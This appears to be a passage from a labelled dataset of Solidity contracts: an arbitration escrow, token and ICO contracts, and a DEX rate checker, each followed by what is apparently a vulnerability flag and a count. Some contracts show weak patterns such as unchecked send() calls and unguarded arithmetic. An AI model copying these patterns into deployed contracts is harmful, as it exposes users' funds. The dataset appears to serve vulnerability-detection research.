function appealCost(uint _disputeID, bytes _extraData) public view returns(uint cost) {
if (appealDisputes[_disputeID].arbitrator != Arbitrator(address(0)))
cost = appealDisputes[_disputeID].arbitrator.appealCost(appealDisputes[_disputeID].appealDisputeID, _extraData);
else if (disputes[_disputeID].status == DisputeStatus.Appealable) cost = arbitrator.arbitrationCost(_extraData);
else cost = NOT_PAYABLE_VALUE;
}
function disputeStatus(uint _disputeID) public view returns(DisputeStatus status) {
if (appealDisputes[_disputeID].arbitrator != Arbitrator(address(0)))
status = appealDisputes[_disputeID].arbitrator.disputeStatus(appealDisputes[_disputeID].appealDisputeID);
else status = disputes[_disputeID].status;
}
function executeRuling(uint _disputeID, uint _ruling) internal {
require(
appealDisputes[appealDisputeIDsToDisputeIDs[_disputeID]].arbitrator != Arbitrator(address(0)),
"The dispute must have been appealed."
);
giveRuling(appealDisputeIDsToDisputeIDs[_disputeID], _ruling);
}
}
contract MultipleArbitrableTransaction is IArbitrable {
uint8 constant AMOUNT_OF_CHOICES = 2;
uint8 constant SENDER_WINS = 1;
uint8 constant RECEIVER_WINS = 2;
enum Party {Sender, Receiver}
enum Status {NoDispute, WaitingSender, WaitingReceiver, DisputeCreated, Resolved}
struct Transaction {
address sender;
address receiver;
uint256 amount;
uint256 timeoutPayment;
uint disputeId;
uint senderFee;
uint receiverFee;
uint lastInteraction;
Status status;
}
Transaction[] public transactions;
bytes public arbitratorExtraData;
Arbitrator public arbitrator;
uint public feeTimeout;
mapping (uint => uint) public disputeIDtoTransactionID;
event MetaEvidence(uint indexed _metaEvidenceID, string _evidence);
event HasToPayFee(uint indexed _transactionID, Party _party);
event Evidence(Arbitrator indexed _arbitrator, uint indexed _evidenceGroupID, address indexed _party, string _evidence);
event Dispute(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _metaEvidenceID, uint _evidenceGroupID);
event Ruling(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _ruling);
constructor (
Arbitrator _arbitrator,
bytes _arbitratorExtraData,
uint _feeTimeout
) public {
arbitrator = _arbitrator;
arbitratorExtraData = _arbitratorExtraData;
feeTimeout = _feeTimeout;
}
function createTransaction(
uint _timeoutPayment,
address _receiver,
string _metaEvidence
) public payable returns (uint transactionID) {
transactions.push(Transaction({
sender: msg.sender,
receiver: _receiver,
amount: msg.value,
timeoutPayment: _timeoutPayment,
disputeId: 0,
senderFee: 0,
receiverFee: 0,
lastInteraction: now,
status: Status.NoDispute
}));
emit MetaEvidence(transactions.length - 1, _metaEvidence);
return transactions.length - 1;
}
function pay(uint _transactionID, uint _amount) public {
Transaction storage transaction = transactions[_transactionID];
require(transaction.sender == msg.sender, "The caller must be the sender.");
require(transaction.status == Status.NoDispute, "The transaction shouldn't be disputed.");
require(_amount <= transaction.amount, "The amount paid has to be less than or equal to the transaction.");
transaction.receiver.transfer(_amount);
transaction.amount -= _amount;
}
function reimburse(uint _transactionID, uint _amountReimbursed) public {
Transaction storage transaction = transactions[_transactionID];
require(transaction.receiver == msg.sender, "The caller must be the receiver.");
require(transaction.status == Status.NoDispute, "The transaction shouldn't be disputed.");
require(_amountReimbursed <= transaction.amount, "The amount reimbursed has to be less or equal than the transaction.");
transaction.sender.transfer(_amountReimbursed);
transaction.amount -= _amountReimbursed;
}
function executeTransaction(uint _transactionID) public {
Transaction storage transaction = transactions[_transactionID];
require(now - transaction.lastInteraction >= transaction.timeoutPayment, "The timeout has not passed yet.");
require(transaction.status == Status.NoDispute, "The transaction shouldn't be disputed.");
transaction.receiver.transfer(transaction.amount);
transaction.amount = 0;
transaction.status = Status.Resolved;
}
function timeOutBySender(uint _transactionID) public {
Transaction storage transaction = transactions[_transactionID];
require(transaction.status == Status.WaitingReceiver, "The transaction is not waiting on the receiver.");
require(now - transaction.lastInteraction >= feeTimeout, "Timeout time has not passed yet.");
executeRuling(_transactionID, SENDER_WINS);
}
function timeOutByReceiver(uint _transactionID) public {
Transaction storage transaction = transactions[_transactionID];
require(transaction.status == Status.WaitingSender, "The transaction is not waiting on the sender.");
require(now - transaction.lastInteraction >= feeTimeout, "Timeout time has not passed yet.");
executeRuling(_transactionID, RECEIVER_WINS);
}
function payArbitrationFeeBySender(uint _transactionID) public payable {
Transaction storage transaction = transactions[_transactionID];
uint arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
require(transaction.status < Status.DisputeCreated, "Dispute has already been created or because the transaction has been executed.");
require(msg.sender == transaction.sender, "The caller must be the sender.");
transaction.senderFee += msg.value;
require(transaction.senderFee >= arbitrationCost, "The sender fee must cover arbitration costs.");
transaction.lastInteraction = now;
if (transaction.receiverFee < arbitrationCost) {
transaction.status = Status.WaitingReceiver;
emit HasToPayFee(_transactionID, Party.Receiver);
} else {
raiseDispute(_transactionID, arbitrationCost);
}
}
function payArbitrationFeeByReceiver(uint _transactionID) public payable {
Transaction storage transaction = transactions[_transactionID];
uint arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
require(transaction.status < Status.DisputeCreated, "Dispute has already been created or because the transaction has been executed.");
require(msg.sender == transaction.receiver, "The caller must be the receiver.");
transaction.receiverFee += msg.value;
require(transaction.receiverFee >= arbitrationCost, "The receiver fee must cover arbitration costs.");
transaction.lastInteraction = now;
if (transaction.senderFee < arbitrationCost) {
transaction.status = Status.WaitingSender;
emit HasToPayFee(_transactionID, Party.Sender);
} else {
raiseDispute(_transactionID, arbitrationCost);
}
}
function raiseDispute(uint _transactionID, uint _arbitrationCost) internal {
Transaction storage transaction = transactions[_transactionID];
transaction.status = Status.DisputeCreated;
transaction.disputeId = arbitrator.createDispute.value(_arbitrationCost)(AMOUNT_OF_CHOICES, arbitratorExtraData);
disputeIDtoTransactionID[transaction.disputeId] = _transactionID;
emit Dispute(arbitrator, transaction.disputeId, _transactionID, _transactionID);
if (transaction.senderFee > _arbitrationCost) {
uint extraFeeSender = transaction.senderFee - _arbitrationCost;
transaction.senderFee = _arbitrationCost;
transaction.sender.send(extraFeeSender);
}
if (transaction.receiverFee > _arbitrationCost) {
uint extraFeeReceiver = transaction.receiverFee - _arbitrationCost;
transaction.receiverFee = _arbitrationCost;
transaction.receiver.send(extraFeeReceiver);
}
}
function submitEvidence(uint _transactionID, string _evidence) public {
Transaction storage transaction = transactions[_transactionID];
require(
msg.sender == transaction.sender || msg.sender == transaction.receiver,
"The caller must be the sender or the receiver."
);
require(
transaction.status < Status.Resolved,
"Must not send evidence if the dispute is resolved."
);
emit Evidence(arbitrator, _transactionID, msg.sender, _evidence);
}
function appeal(uint _transactionID) public payable {
Transaction storage transaction = transactions[_transactionID];
arbitrator.appeal.value(msg.value)(transaction.disputeId, arbitratorExtraData);
}
function rule(uint _disputeID, uint _ruling) public {
uint transactionID = disputeIDtoTransactionID[_disputeID];
Transaction storage transaction = transactions[transactionID];
require(msg.sender == address(arbitrator), "The caller must be the arbitrator.");
require(transaction.status == Status.DisputeCreated, "The dispute has already been resolved.");
emit Ruling(Arbitrator(msg.sender), _disputeID, _ruling);
executeRuling(transactionID, _ruling);
}
function executeRuling(uint _transactionID, uint _ruling) internal {
Transaction storage transaction = transactions[_transactionID];
require(_ruling <= AMOUNT_OF_CHOICES, "Invalid ruling.");
if (_ruling == SENDER_WINS) {
transaction.sender.send(transaction.senderFee + transaction.amount);
} else if (_ruling == RECEIVER_WINS) {
transaction.receiver.send(transaction.receiverFee + transaction.amount);
} else {
uint split_amount = (transaction.senderFee + transaction.amount) / 2;
transaction.sender.send(split_amount);
transaction.receiver.send(split_amount);
}
transaction.amount = 0;
transaction.senderFee = 0;
transaction.receiverFee = 0;
transaction.status = Status.Resolved;
}
function getCountTransactions() public view returns (uint countTransactions) {
return transactions.length;
}
function getTransactionIDsByAddress(address _address) public view returns (uint[] transactionIDs) {
uint count = 0;
for (uint i = 0; i < transactions.length; i++) {
if (transactions[i].sender == _address || transactions[i].receiver == _address)
count++;
}
transactionIDs = new uint[](count);
count = 0;
for (uint j = 0; j < transactions.length; j++) {
if (transactions[j].sender == _address || transactions[j].receiver == _address)
transactionIDs[count++] = j;
}
}
} | 0 | 874 |
pragma solidity 0.4.25;
library SafeMath
{
function mul(uint256 a, uint256 b) internal pure
returns (uint256)
{
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure
returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure
returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure
returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface ERC20
{
function totalSupply() view external returns (uint _totalSupply);
function balanceOf(address _owner) view external returns (uint balance);
function transfer(address _to, uint _value) external returns (bool success);
function transferFrom(address _from, address _to, uint _value) external returns (bool success);
function approve(address _spender, uint _value) external returns (bool success);
function allowance(address _owner, address _spender) view external returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract LynchpinToken is ERC20
{
using SafeMath for uint256;
string public name = "Lynchpin";
string public symbol = "LYN";
uint8 public decimals = 18;
uint public totalSupply = 5000000 * (10 ** uint(decimals));
address public owner = 0xAc983022185b95eF2B2C7219143483BD0C65Ecda;
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
constructor() public
{
balanceOf[owner] = totalSupply;
}
function totalSupply() view external returns (uint _totalSupply)
{
return totalSupply;
}
function balanceOf(address _owner) view external returns (uint balance)
{
return balanceOf[_owner];
}
function allowance(address _owner, address _spender) view external returns (uint remaining)
{
return allowance[_owner][_spender];
}
function _transfer(address _from, address _to, uint _value) internal
{
require(_to != 0x0);
uint previousBalances = balanceOf[_from].add(balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
function transfer(address _to, uint _value) public returns (bool success)
{
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) public returns (bool success)
{
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public returns (bool success)
{
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function () public
{
revert();
}
}
contract Ownable
{
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address _owner) public
{
owner = _owner;
}
modifier onlyOwner()
{
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner
{
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract LynchpinPrivateICO is Ownable(0xAc983022185b95eF2B2C7219143483BD0C65Ecda)
{
using SafeMath for uint256;
LynchpinToken public lynT = LynchpinToken(0xB0B1685f55843D03739c7D9b0A230F1B7DcF03D5);
uint256 public tokeninOneEther;
uint256 public maxTokensToSell = 2000000 * 10**18;
uint256 public tokenSold;
bool crowdsaleClosed = false;
uint256 LOCK_PERIOD_START = 1556668800;
uint256 LOCK_PERIOD_9_MONTH = 1580515200;
uint256 LOCK_PERIOD_10_MONTH = 1583020800;
uint256 LOCK_PERIOD_11_MONTH = 1585699200;
uint256 LOCK_PERIOD_END = 1588291200;
mapping(address => uint256) public tokensOwed;
mapping(address => uint256) public ethContribution;
mapping(address => bool) public isWhitelisted;
event LogAddedToWhitelist(address indexed _contributor);
event LogTokenRateUpdated(uint256 _newRate);
event LogSaleClosed();
constructor(uint256 _tokeninOneEther) public
{
require (_tokeninOneEther > 0);
isWhitelisted[owner] = true;
tokeninOneEther = _tokeninOneEther;
emit LogTokenRateUpdated(_tokeninOneEther);
}
function () public payable
{
require(!crowdsaleClosed);
require(isWhitelisted[msg.sender]);
uint256 amountToSend = msg.value * tokeninOneEther;
require (tokenSold.add(amountToSend) <= maxTokensToSell);
tokensOwed[msg.sender] += amountToSend;
tokenSold += amountToSend;
ethContribution[msg.sender] += msg.value;
owner.transfer(address(this).balance);
}
function giveTokens(address _reciver, uint _tokens) public onlyOwner
{
require(tokenSold.add(_tokens) <= maxTokensToSell);
tokensOwed[_reciver] += _tokens;
tokenSold += _tokens;
}
function addContributor(address _contributor) external onlyOwner
{
require(_contributor != address(0));
require(!isWhitelisted[_contributor]);
isWhitelisted[_contributor] = true;
emit LogAddedToWhitelist(_contributor);
}
function updateTokenRate(uint256 _tokeninOneEther ) external onlyOwner
{
require (_tokeninOneEther > 0);
tokeninOneEther = _tokeninOneEther;
emit LogTokenRateUpdated(_tokeninOneEther);
}
function closeSale() external onlyOwner
{
require (now > LOCK_PERIOD_START);
lynT.transfer(msg.sender, lynT.balanceOf(address(this)));
owner.transfer(address(this).balance);
crowdsaleClosed = true;
emit LogSaleClosed();
}
function withdrawMyTokens () external
{
require (crowdsaleClosed);
require (tokensOwed[msg.sender] > 0);
require (now > LOCK_PERIOD_9_MONTH);
uint256 penalty = 0;
if(now > LOCK_PERIOD_END)
penalty = 0;
else if(now > LOCK_PERIOD_11_MONTH)
penalty = 20;
else if(now > LOCK_PERIOD_10_MONTH)
penalty = 30;
else
penalty = 40;
uint256 tokenBought = tokensOwed[msg.sender];
uint256 toSend = tokenBought.sub(tokenBought.mul(penalty).div(100));
tokensOwed[msg.sender] = 0;
lynT.transfer(msg.sender, toSend);
}
function withdrawPenaltyTokens() external onlyOwner
{
require (now > LOCK_PERIOD_END);
lynT.transfer(msg.sender, lynT.balanceOf(address(this)));
owner.transfer(address(this).balance);
}
} | 1 | 3,565 |
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IOneInchTrade {
function getRateFromKyber(IERC20 from, IERC20 to, uint amount) external view returns (uint expectedRate, uint slippageRate);
function getRateFromBancor(IERC20 from, IERC20 to, uint amount) external view returns (uint expectedRate, uint slippageRate);
}
interface KyberNetworkProxy {
function getExpectedRate(IERC20 src, IERC20 dest, uint srcQty)
external view
returns (uint expectedRate, uint slippageRate);
}
interface BancorConverter {
function getReturn(IERC20 _fromToken, IERC20 _toToken, uint256 _amount) external view returns (uint256, uint256);
}
contract OneInchTrade is IOneInchTrade {
uint constant MIN_TRADING_AMOUNT = 0.0001 ether;
KyberNetworkProxy public kyberNetworkProxy;
BancorConverter public bancorConverter;
address public dsTokenAddress;
address public bntTokenAddress;
address constant public KYBER_ETHER_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address constant public BANCOR_ETHER_ADDRESS = 0xc0829421C1d260BD3cB3E0F06cfE2D52db2cE315;
constructor(
address kyberNetworkProxyAddress,
address bancorConverterAddress,
address _dsTokenAddress,
address _bntTokenAddress
) public {
kyberNetworkProxy = KyberNetworkProxy(kyberNetworkProxyAddress);
bancorConverter = BancorConverter(bancorConverterAddress);
dsTokenAddress = _dsTokenAddress;
bntTokenAddress = _bntTokenAddress;
}
function getRateFromKyber(IERC20 from, IERC20 to, uint amount) public view returns (uint expectedRate, uint slippageRate) {
return kyberNetworkProxy.getExpectedRate(
from,
to,
amount
);
}
function getRateFromBancor(IERC20 from, IERC20 to, uint amount) public view returns (uint expectedRate, uint slippageRate) {
return bancorConverter.getReturn(
from,
to,
amount
);
}
function() external payable {
uint startGas = gasleft();
require(msg.value >= MIN_TRADING_AMOUNT, "Min trading amount not reached.");
IERC20 bntToken = IERC20(bntTokenAddress);
IERC20 dsToken = IERC20(dsTokenAddress);
(uint kyberExpectedRate, uint kyberSlippageRate) = getRateFromKyber(
IERC20(KYBER_ETHER_ADDRESS),
dsToken,
msg.value
);
(uint bancorBNTExpectedRate, uint bancorBNTSlippageRate) = getRateFromBancor(
IERC20(BANCOR_ETHER_ADDRESS),
bntToken,
msg.value
);
(uint bancorDSExpectedRate, uint bancorDSSlippageRate) = getRateFromBancor(
bntToken,
dsToken,
msg.value
);
uint kyberRate = kyberExpectedRate * msg.value;
uint bancorRate = bancorBNTExpectedRate * msg.value * bancorDSExpectedRate;
uint baseTokenAmount = 0;
uint tradedResult = 0;
if (kyberRate > bancorRate) {
tradedResult = kyberRate - bancorRate;
baseTokenAmount = bancorRate * msg.value;
} else {
tradedResult = bancorRate - kyberRate;
baseTokenAmount = kyberRate * msg.value;
}
require(
tradedResult >= baseTokenAmount,
"Canceled because of not profitable trade."
);
}
} | 1 | 3,914 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "GivingToServices";
string public constant TOKEN_SYMBOL = "SVCS";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x02dFf622C814247E4Ea4F16184D1Ece6f1021671;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x02dff622c814247e4ea4f16184d1ece6f1021671)];
uint[1] memory amounts = [uint(10000000000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 0 | 1,912 |
pragma solidity ^0.4.18;
interface ConflictResolutionInterface {
function minHouseStake(uint activeGames) public pure returns(uint);
function maxBalance() public pure returns(int);
function isValidBet(uint8 _gameType, uint _betNum, uint _betValue) public pure returns(bool);
function endGameConflict(
uint8 _gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
bytes32 _serverSeed,
bytes32 _playerSeed
)
public
view
returns(int);
function serverForceGameEnd(
uint8 gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
uint _endInitiatedTime
)
public
view
returns(int);
function playerForceGameEnd(
uint8 _gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
uint _endInitiatedTime
)
public
view
returns(int);
}
library MathUtil {
function abs(int _val) internal pure returns(uint) {
if (_val < 0) {
return uint(-_val);
} else {
return uint(_val);
}
}
function max(uint _val1, uint _val2) internal pure returns(uint) {
return _val1 >= _val2 ? _val1 : _val2;
}
function min(uint _val1, uint _val2) internal pure returns(uint) {
return _val1 <= _val2 ? _val1 : _val2;
}
}
contract Ownable {
address public owner;
event LogOwnerShipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function Ownable() public {
owner = msg.sender;
}
function setOwner(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
LogOwnerShipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ConflictResolutionManager is Ownable {
ConflictResolutionInterface public conflictRes;
address public newConflictRes = 0;
uint public updateTime = 0;
uint public constant MIN_TIMEOUT = 3 days;
uint public constant MAX_TIMEOUT = 6 days;
event LogUpdatingConflictResolution(address newConflictResolutionAddress);
event LogUpdatedConflictResolution(address newConflictResolutionAddress);
function ConflictResolutionManager(address _conflictResAddress) public {
conflictRes = ConflictResolutionInterface(_conflictResAddress);
}
function updateConflictResolution(address _newConflictResAddress) public onlyOwner {
newConflictRes = _newConflictResAddress;
updateTime = block.timestamp;
LogUpdatingConflictResolution(_newConflictResAddress);
}
function activateConflictResolution() public onlyOwner {
require(newConflictRes != 0);
require(updateTime != 0);
require(updateTime + MIN_TIMEOUT <= block.timestamp && block.timestamp <= updateTime + MAX_TIMEOUT);
conflictRes = ConflictResolutionInterface(newConflictRes);
newConflictRes = 0;
updateTime = 0;
LogUpdatedConflictResolution(newConflictRes);
}
}
contract Pausable is Ownable {
bool public paused = false;
uint public timePaused = 0;
modifier onlyNotPaused() {
require(!paused);
_;
}
modifier onlyPaused() {
require(paused);
_;
}
modifier onlyPausedSince(uint timeSpan) {
require(paused && timePaused + timeSpan <= block.timestamp);
_;
}
event LogPause();
event LogUnpause();
function pause() public onlyOwner onlyNotPaused {
paused = true;
timePaused = block.timestamp;
LogPause();
}
function unpause() public onlyOwner onlyPaused {
paused = false;
timePaused = 0;
LogUnpause();
}
}
contract Destroyable is Pausable {
uint public constant TIMEOUT_DESTROY = 20 days;
function destroy() public onlyOwner onlyPausedSince(TIMEOUT_DESTROY) {
selfdestruct(owner);
}
}
contract GameChannelBase is Destroyable, ConflictResolutionManager {
enum GameStatus {
ENDED,
ACTIVE,
WAITING_FOR_SERVER,
PLAYER_INITIATED_END,
SERVER_INITIATED_END
}
enum ReasonEnded {
REGULAR_ENDED,
END_FORCED_BY_SERVER,
END_FORCED_BY_PLAYER,
REJECTED_BY_SERVER,
CANCELLED_BY_PLAYER
}
struct Game {
GameStatus status;
ReasonEnded reasonEnded;
uint stake;
uint8 gameType;
uint32 roundId;
uint16 betNum;
uint betValue;
int balance;
bytes32 playerSeed;
bytes32 serverSeed;
uint endInitiatedTime;
}
uint public constant MIN_TRANSFER_TIMESPAN = 1 days;
uint public constant MAX_TRANSFER_TIMSPAN = 6 * 30 days;
uint public activeGames = 0;
uint public gameIdCntr;
address public serverAddress;
